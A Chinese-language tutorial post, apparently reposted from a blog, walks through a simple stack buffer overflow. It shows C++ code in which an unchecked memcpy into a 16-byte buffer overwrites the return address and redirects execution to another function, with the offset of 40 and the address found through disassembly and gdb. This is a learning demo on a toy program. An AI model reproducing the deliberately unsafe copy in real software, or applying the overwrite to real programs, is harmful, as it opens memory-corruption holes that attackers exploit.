学习堆栈知识,实现一个简单的栈溢出攻击。
代码如下图,main函数中只运行normal_func函数,通过数组越界,修改normal_func的返回地址,将eject_func函数地址赋值到normal_func的返回地址,实现对eject_fun的调用。
#include <cstdio>
#include <string.h>
#include <iostream>
#define LEN 0
#define ADDR 0x0
using namespace std;
void eject_func()
{
	cout<<"eject_func"<<endl;
}
void normal_func(char* buf, int len)
{
	char tmpBuf[16] = {0xff};
	memcpy(tmpBuf+LEN, buf+LEN, len);
	cout<<"normal_func"<<endl;
}
int main(int argc, char** argv)
{
	char buf[64] = {0};
	long eject_func_addr = ADDR;
	memcpy(buf+LEN,&eject_func_addr,8);
	normal_func(buf,64);
cout<<"main\n"<<endl;
	return 0;
}
我们先不知道eject_func函数的虚拟内存地址,也不知道normal_func函数栈帧的栈底地址和局部变量tmpBuf的距离长度,就先定义俩个宏ADDR和LEN。编译上面的代码,再反汇编。
![]()
  
找到上面两个和eject_func,normal_func相识的函数,再利用c++filt确认下
 ![]()
这下知道eject_func函数地址为0x400916,
再看normal_func函数的反汇编,本人汇编指令也不太懂,看个大概,怀疑LEN的长度确认为40,gdb调试看一下:
 
Main函数调用normal_func的下一条指令就是400a19
400a14: e8 20 ff ff ff callq 400939 <_Z11normal_funcPci>
400a19: be 4b 0b 40 00 mov $0x400b4b,%esi
由上可以算出偏移大小确实是40;
修改最上面的代码
#define LEN 40
#define ADDR 0x400916
重新编译运行,运行的结果如下
 
可见,main函数调用normal_func的下一条指令入栈后,在越界拷贝后被串改为eject_func的地址,所以在normal_func运行完后接着运行的不是main函数里的下一条指令,而是eject_func函数,从而实现栈溢出攻击。
原文:https://www.cnblogs.com/ho966/p/12148692.html